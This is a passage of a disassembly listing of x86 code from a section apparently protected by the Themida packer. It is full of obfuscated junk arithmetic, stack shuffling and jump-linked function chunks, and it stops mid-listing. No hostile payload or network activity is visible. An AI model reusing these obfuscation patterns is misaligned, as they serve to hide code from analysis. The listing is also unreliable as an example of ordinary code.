push 7CCAh
mov [esp+4+var_4], edi
mov edi, esp
sub esp, 4
mov [esp+8+var_8], edx
mov edx, 19125E32h
neg edx
or edx, 53FA49A6h
add edx, 8001616h
add edi, edx
push [esp+8+var_8]
pop edx
add esp, 4
push 7429h
mov [esp+8+var_8], ebp
push esp
pop ebp
jmp loc_571D08
sub_572075 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_5720C0: ; CODE XREF: sub_572075-D4DFj
sub ecx, 791A2EF3h
pop ebp
push ecx
push [esp+8+var_4]
mov ecx, [esp+0Ch+var_C]
add esp, 4
jmp loc_56D26E
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_5720DA: ; CODE XREF: sub_5713A7-FA9Cj
sub edx, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
add edx, ecx
jmp loc_56B4EC
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
loc_5720E9: ; CODE XREF: Themida_:00561C40j
dec ebp
jmp loc_5714F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_5720EF: ; CODE XREF: sub_57109F-5FCAj
xor ebp, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ebp
xor ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_572100: ; CODE XREF: sub_572141-9389j
add ebp, 2
jmp loc_56F8AB
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_57210B: ; CODE XREF: sub_564D26+C330j
push 254h
mov [esp+24h+var_24], ebx
mov ebx, 74D25BB7h
shl ebx, 6
jmp loc_5695E4
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_572120: ; CODE XREF: sub_56C7AA-9A31j
pop esp
jmp loc_56A6BE
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_572126: ; CODE XREF: sub_56BD36-3540j
mov ebp, 4
add ebx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
xor ebx, [esp+4+var_4]
xor [esp+4+var_4], ebx
jmp loc_561E74
; END OF FUNCTION CHUNK FOR sub_56BD36
; =============== S U B R O U T I N E =======================================
sub_572141 proc near ; DATA XREF: Themida_:0055FE04o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056247E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00563356 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056437F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567AB9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005682FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568DB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569658 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569D35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B206 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C229 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CA70 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056CBDF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CFF0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F708 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F8AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570B7E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572100 SIZE 0000000B BYTES
mov cx, [esp+0]
push 6470h
mov [esp+4+var_4], ebp
jmp loc_56CBDF
sub_572141 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_572152: ; CODE XREF: sub_56616D+AA4Aj
mov eax, 7B631668h
and eax, 500A5759h
push ebp
mov ebp, 71A60967h
or eax, ebp
pop ebp
and eax, 12D673CBh
neg eax
push edi
mov edi, 3DD0456Bh
add eax, 2B8D6714h
add eax, edi
sub eax, 2B8D6714h
pop edi
or esi, eax
pop eax
shl esi, 2
neg esi
jmp loc_56AC4B
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_57218C: ; CODE XREF: sub_56DA43-DA1Aj
add esp, 4
add edx, ebp
jmp loc_56F858
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_572199: ; CODE XREF: sub_565A8D+74EBj
add esp, 4
xor ebx, [esp+0]
jmp loc_56C3D4
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574287
loc_5721A4: ; CODE XREF: sub_574287-9EC0j
mov edi, 670C24E1h
add edi, 0FFFFFFFFh
xor edi, 57B86C7Eh
inc edi
jmp loc_565FD0
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5721BB: ; CODE XREF: sub_56AB5E+1D7Ej
push edx
push [esp+10h+var_C]
pop edx
jmp loc_566059
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_5721C6: ; CODE XREF: sub_56D855+11F1j
add ebp, eax
jmp loc_56163D
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_5721CD: ; CODE XREF: sub_56C83E+F34j
and esi, 62FB7FA7h
push ecx
push edx
push 33922A3Fh
pop edx
xor edx, 1042710Fh
mov ecx, edx
pop edx
add esi, ecx
pop ecx
not esi
push edi
mov edi, 0FF6A323h
sub esi, edi
pop edi
jmp loc_568829
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_5721F7: ; CODE XREF: sub_5648C6+1E52j
pop esi
mov eax, 0FF7185C3h
add eax, ebx
pop ebx
add ebp, eax
pop eax
add ebp, 4
jmp loc_568C88
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57220E: ; CODE XREF: sub_561418+1042Fj
xor edi, 51C42F27h
push eax
mov eax, 86C20C46h
add edi, eax
pop eax
mov esi, edi
pop edi
push edi
mov edi, 7FFA4879h
add eax, 7AEA6268h
jmp loc_56F1CF
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_572230: ; CODE XREF: sub_564D26-2515j
xchg edi, [esp+8+var_8]
pop esp
and eax, esi
push [esp+4+var_4]
mov esi, [esp+8+var_8]
add esp, 4
add esp, 4
or eax, eax
jz sub_569193
push dword ptr [edi+1Ch]
push 7C73h
mov [esp+8+var_8], eax
jmp loc_56993E
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_57225D: ; CODE XREF: sub_56628B+34BAj
add edi, 6165A84h
sub eax, edi
pop edi
push 7ABh
jmp loc_5619FF
; END OF FUNCTION CHUNK FOR sub_56628B
; =============== S U B R O U T I N E =======================================
sub_572270 proc near ; DATA XREF: Themida_:0055FD50o
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056503E SIZE 00000011 BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, esp
jmp loc_56503E
sub_572270 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_572287: ; CODE XREF: sub_571F6F-AD28j
sub eax, 28ED49C1h
xor ecx, eax
mov eax, [esp+0Ch+var_E+2]
jmp loc_561DFD
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AA2B
loc_572296: ; CODE XREF: sub_56AA2B+829Aj
inc ecx
jmp loc_56060F
; END OF FUNCTION CHUNK FOR sub_56AA2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680F2
loc_57229C: ; CODE XREF: sub_5680F2+4j
push 1CF3h
mov [esp+4+var_4], edi
push esp
mov edi, [esp+8+var_8]
sub esp, 4
jmp loc_56DB46
; END OF FUNCTION CHUNK FOR sub_5680F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_5722B0: ; CODE XREF: sub_561541+62CCj
mov eax, 40F77FAEh
push ecx
jmp loc_567173
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_5722BB: ; CODE XREF: sub_567B29+37CCj
sub ebx, esi
sub ebx, 2D166BBEh
jmp loc_563AD9
; END OF FUNCTION CHUNK FOR sub_567B29
; =============== S U B R O U T I N E =======================================
sub_5722C8 proc near ; CODE XREF: sub_562BA0+23A9j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00566D02 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056751C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00569270 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A502 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D2F3 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056D503 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572A86 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573CBB SIZE 00000008 BYTES
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push eax
mov eax, 4
sub ebx, eax
pop eax
xchg ebx, [esp+0]
mov esp, [esp+0]
mov [esp-8+arg_4], edx
push [esp-8+arg_8]
pop edx
pop [esp-8+arg_4]
mov esp, [esp-0Ch+arg_8]
push [esp-0Ch+arg_8]
push [esp-8+arg_4]
mov eax, [esp-4+arg_0]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_56A502
sub_5722C8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_57230B: ; CODE XREF: sub_56AB5E+3210j
push 6C24h
jmp loc_56B6F5
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_572315: ; CODE XREF: sub_570732+35AEj
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568DD7
loc_572323: ; CODE XREF: sub_568DD7+36j
push dword ptr [esp+0]
jmp loc_572448
; END OF FUNCTION CHUNK FOR sub_568DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_57232B: ; CODE XREF: sub_56102D+AD93j
push [esp+8+var_4]
pop ecx
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_5694CA
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_57233B: ; CODE XREF: sub_564D26-4227j
pop esi
push edi
mov edi, 5B461C9Ah
and esi, edi
jmp loc_571055
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_572349: ; CODE XREF: sub_5692D3-1436j
add [esp+0Ch+var_8], esi
jmp loc_565F4F
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_572352: ; CODE XREF: sub_567CFE-63CEj
and ebp, 3CA454D2h
push eax
mov eax, 4D911331h
and eax, 78AE3689h
xor eax, 47FA38BEh
jmp loc_561A9B
; END OF FUNCTION CHUNK FOR sub_567CFE
; =============== S U B R O U T I N E =======================================
sub_57236D proc near ; CODE XREF: sub_568E5C+4B9Bj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00561B9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005666E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567553 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00568BD4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CAB6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056D83B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056DA80 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057026E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00571716 SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov edx, [esp+4+var_4]
push 5487h
mov [esp+8+var_8], eax
mov eax, esp
push esi
jmp loc_571716
sub_57236D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_572389: ; CODE XREF: sub_56E0CB-79D1j
dec ebx
xchg esi, ebx
jmp loc_572A95
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_572391: ; CODE XREF: sub_5620B7+6A54j
pop ecx
pop edx
pop ecx
mov bl, al
jmp loc_57389D
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
loc_57239B: ; CODE XREF: Themida_:0056A1A3j
add ebp, 352C421Ch
pop eax
add ebp, esi
sub ebp, 501C5826h
pop esi
push esi
jmp loc_572701
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_5723B1: ; CODE XREF: sub_56D359-3CD2j
sub [esp+10h+var_C], 6A99708Ch
sub [esp+10h+var_C], 44AB068Eh
add [esp+10h+var_C], edx
push edi
jmp loc_56464F
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_5723CB: ; CODE XREF: sub_563819+1C9j
xor esi, 63946F38h
mov edx, esi
mov esi, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5743BF
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
loc_5723EA: ; CODE XREF: Themida_:0056E80Aj
or ebx, 0DA60A94h
xor ebx, 3DBF1BDFh
add eax, 5AA32EB7h
jmp loc_573620
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_572400: ; CODE XREF: sub_574896-145ECj
push eax
push [esp+arg_0]
mov eax, [esp+4+var_4]
push 5078h
jmp loc_565DD1
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FAE2
loc_572412: ; CODE XREF: sub_56FAE2-6A4Ej
push [esp-8+arg_4]
pop ebp
add esp, 4
xchg ebx, [esp-0Ch+arg_8]
pop esp
push small 4836h
jmp loc_57430C
; END OF FUNCTION CHUNK FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_572426: ; CODE XREF: sub_56616D-4EC5j
push [esp-4+arg_0]
mov ecx, [esp+0]
add esp, 4
add esp, 4
and eax, edx
pop edx
jmp loc_565787
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626B
loc_57243D: ; CODE XREF: sub_56626B-1827j
shr bh, 4
xor bh, 0Bh
jmp loc_573561
; END OF FUNCTION CHUNK FOR sub_56626B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568DD7
loc_572448: ; CODE XREF: sub_568DD7+954Fj
pop esi
add esp, 4
xchg ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
test ecx, eax
pushf
jmp loc_564DAE
; END OF FUNCTION CHUNK FOR sub_568DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_57245A: ; CODE XREF: sub_571088-7E6j
mov ecx, [esp+2+var_4+2]
jmp loc_565EA5
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_572462: ; CODE XREF: sub_571289+229Ej
pop ecx
push 3F55h
mov [esp+0], ebx
jmp loc_5725D6
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_572470: ; CODE XREF: sub_569DB5-31BCj
push esp
mov edx, [esp+0Ch+var_C]
jmp loc_567105
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_572479: ; CODE XREF: sub_569A84-4B5Ej
cmp cl, al
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_572481: ; CODE XREF: sub_574000-D859j
add ebp, 0AB5AC14Bh
add edi, ebp
mov ebp, [esp+10h+var_10]
add esp, 4
sub edi, esi
sub edi, 26A1269Ch
pop esi
add eax, 38AC7C7Eh
sub eax, 24845C9Bh
add eax, edi
add eax, 24845C9Bh
sub eax, 38AC7C7Eh
mov edi, [esp+8+var_8]
push esi
push esp
mov esi, [esp+10h+var_10]
jmp loc_571631
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_5724BB: ; CODE XREF: sub_5726FB-11F48j
mov [esp+4+var_4], edx
jmp sub_5637A1
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_5724C3: ; CODE XREF: sub_5673C3-128Aj
sub ecx, ebx
mov ebx, [esp+0]
add esp, 4
jmp loc_5701A7
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_5724D3: ; CODE XREF: sub_574F16-14DB0j
mov edx, esp
add edx, 4
push edi
mov edi, 4
sub edx, edi
pop edi
xchg edx, [esp+6+var_6]
pop esp
mov dword ptr [esp+2+var_2], ebx
jmp loc_56694D
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_5724F0: ; CODE XREF: sub_56C4FF+Dj
dec ebp
dec ebp
push ebp
not [esp+0Ch+var_C]
pop ebp
jmp loc_56081D
; END OF FUNCTION CHUNK FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C553
loc_5724FC: ; CODE XREF: sub_56C553-B1EBj
xor edi, 65502173h
add ecx, edi
mov edi, [esp+14h+var_14]
jmp loc_562583
; END OF FUNCTION CHUNK FOR sub_56C553
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_57250C: ; CODE XREF: sub_56749A-7313j
push esp
jmp loc_5621DF
; END OF FUNCTION CHUNK FOR sub_56749A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_572512: ; CODE XREF: sub_568646-65EBj
pop eax
jmp loc_5603CA
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_572518: ; CODE XREF: sub_56BD44-23C5j
push 4DC7h
mov [esp+4+var_4], edi
push 9E4h
mov [esp+8+var_8], esp
jmp loc_56A50C
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_57252D: ; CODE XREF: sub_5678CB+9ABEj
pop ebp
sub edi, 1BC1B39h
add edi, eax
add edi, 1BC1B39h
add edi, 63F30ABEh
pop eax
jmp loc_56BC6F
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_572548: ; CODE XREF: sub_56351E+75E8j
mov ebp, 407B0EBCh
jmp loc_5668C4
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_572552: ; CODE XREF: sub_5692D3-337Ej
push [esp+8+var_8]
pop ecx
jmp loc_569024
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_57255B: ; CODE XREF: sub_56C83E-870Fj
mov eax, 90A2E353h
sub edx, eax
pop eax
xor eax, edx
pop edx
push eax
mov eax, esp
jmp loc_56AF3F
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_57256E: ; CODE XREF: sub_5726FB-6841j
sub edi, 4
push edi
push [esp+8+var_4]
pop edi
jmp loc_566FE9
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_57257C: ; CODE XREF: sub_56B71F+Bj
mov [esp+8+var_8], eax
mov eax, 5D8D363Ch
push edx
mov edx, 6F121E77h
jmp loc_5683CF
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_57258F: ; CODE XREF: sub_565632+5386j
mov [esp-0Ch+arg_8], edx
push 60945FDh
jmp loc_56BBC6
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716F1
loc_57259C: ; CODE XREF: sub_5716F1-D8B2j
push edi
mov edi, 42DD0CA6h
or edi, 57F4367Dh
add edi, 343A26E4h
xor ebx, edi
pop edi
mov edi, ebx
pop ebx
xor edi, eax
jmp loc_571DD6
; END OF FUNCTION CHUNK FOR sub_5716F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5725BB: ; CODE XREF: sub_571F6F+AFBj
add bl, 97h
push dword ptr [esp]
pop eax
push edi
mov edi, esp
add edi, 4
jmp loc_569DDE
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_5725D0: ; CODE XREF: sub_567D31+C5A9j
pop edx
jmp loc_566C55
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_5725D6: ; CODE XREF: sub_571289+11E2j
push 1E9A56D4h
pop ebx
push esi
mov esi, 65DB1A03h
not esi
jmp loc_56F080
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5725E9: ; CODE XREF: sub_56FA15-987Cj
add cl, dh
add cl, 7Fh
mov edx, [esp+0Eh+var_10+2]
push eax
push esp
pop eax
jmp loc_56B72F
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_5725F9: ; CODE XREF: sub_574CBE-2682j
shl edx, 3
push ebp
mov ebp, 10BFE23Dh
sub edx, ebp
pop ebp
add eax, edx
pop edx
push esi
push 2887h
mov [esp+18h+var_18], ebx
mov ebx, 553814ADh
mov esi, ebx
pop ebx
add eax, esi
pop esi
sub esp, 4
mov [esp+14h+var_14], esi
push edi
jmp loc_564862
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_572628: ; CODE XREF: sub_571F6F-D53j
or dl, ah
pop ax
jmp loc_5667C4
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560066
loc_572631: ; CODE XREF: sub_560066+9j
mov edx, [esp+0]
jmp sub_5610CE
; END OF FUNCTION CHUNK FOR sub_560066
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_572639: ; CODE XREF: sub_574CBE-5DF5j
shr edx, 4
jmp loc_5725F9
; END OF FUNCTION CHUNK FOR sub_574CBE
; =============== S U B R O U T I N E =======================================
sub_572641 proc near ; DATA XREF: Themida_:0055FF1Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560950 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 005614D1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056406A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00564A0A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564F33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565693 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005658A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566E32 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00569E95 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569F11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569FEE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056A4EC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B61F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056C42E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DAC8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005705C9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0057189C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572746 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005729FF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00573441 SIZE 00000009 BYTES
lodsb
push 5991h
mov [esp+4+var_4], ecx
push eax
jmp loc_56A4EC
sub_572641 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_572650: ; CODE XREF: sub_566117+78AEj
pop ecx
mov edi, [esp+0Ch+var_C]
add esp, 4
jmp loc_572E55
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_57265C: ; CODE XREF: sub_5678CB+A148j
push ax
mov ah, 0C7h
sub dh, ah
pop ax
jmp loc_567838
; END OF FUNCTION CHUNK FOR sub_5678CB
; =============== S U B R O U T I N E =======================================
sub_572669 proc near ; CODE XREF: sub_5716A0-FE16j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560268 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561B33 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00561DDC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056565A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567A54 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568537 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056EC70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F8C9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056FAAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057000B SIZE 0000000E BYTES
push ebx
jmp loc_56565A
sub_572669 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57266F proc near ; DATA XREF: Themida_:0055FCF8o
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp+0], cl
pushf
jmp loc_55FF9F
sub_57266F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_57267E: ; CODE XREF: sub_572E16-20FAj
add ecx, 286C3D2Dh
add ecx, 7677892h
sub ecx, 6DCC2713h
sub ecx, 0FFFFFFFFh
shl ecx, 8
jmp loc_56F8E0
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_57269B: ; CODE XREF: sub_56C38F+2Bj
pop ecx
jmp loc_5693A8
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5726A1: ; CODE XREF: sub_57549C-D03Bj
mov edx, esi
pop esi
push ebp
mov ebp, 1E7D67C6h
sub eax, 793E7FB0h
sub eax, ebp
add eax, 793E7FB0h
jmp loc_5629EB
; END OF FUNCTION CHUNK FOR sub_57549C
; =============== S U B R O U T I N E =======================================
sub_5726BB proc near ; CODE XREF: sub_569DB5+7CFAj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056784B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057103F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0057473A SIZE 00000011 BYTES
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56784B
sub_5726BB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E4D4
loc_5726C9: ; CODE XREF: sub_56E4D4+3420j
